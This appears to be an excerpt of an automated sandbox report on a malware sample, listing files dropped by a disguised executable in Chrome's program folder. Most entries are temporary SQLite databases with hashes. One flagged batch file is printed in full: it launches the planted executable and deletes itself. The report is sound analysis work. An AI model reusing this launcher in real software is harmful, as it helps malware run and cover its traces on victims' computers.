Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\La99eC3Gu7

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LgoqXKAebd

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MLuiBFnZMO

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MlMQMBBefD

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\N89GnkNZyQ

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NCbOckzJKd

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NFsmKxlwF5

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NLOI6GFheR

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NRc8fv8OU7.bat

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	207
Entropy (8bit):	5.3260466725752265
Encrypted:	false
SSDEEP:	6:hCRLuVFOOr+DEUKdF4S9A2ijNSKOZG1923fh+Zhn:CuVEOCDEX4OlpUh
MD5:	E412DDB6FDE2F61FAA406508631DD975
SHA1:	780C65C6FAC6C24804EB11198D4D12BF5660D11B
SHA-256:	48B364FC96A270E3D92247001BC86E507B75AD0B33F506469477F30FAAB5C386
SHA-512:	B1296CA8C941A120CAD0354FC557387CAB5CEE21F7B0861F20C53960E9B565FEF6063D097310B935029377F25871F4C5817CB778D6CA6E06554F8985F3CBF3F8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\NRc8fv8OU7.bat"

C:\Users\user\AppData\Local\Temp\NpIlnYEQBZ

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Oa5YMUHwkd

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QJWtYm1Q3o

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QOB2yBw8SF

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QekTvLr5kH

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QyTIOMdzGJ

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\R485sb0nij

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RU36IxTuWW

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RzL2gkak2f

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SA2sSxzJwl

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SiUq89xJpe

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TVrj8K5SiD

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TZslTTDRLz

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TeBw85s1H4

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TnjRinehil

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\URSDzuhKL7

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UVdysBZfg6

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
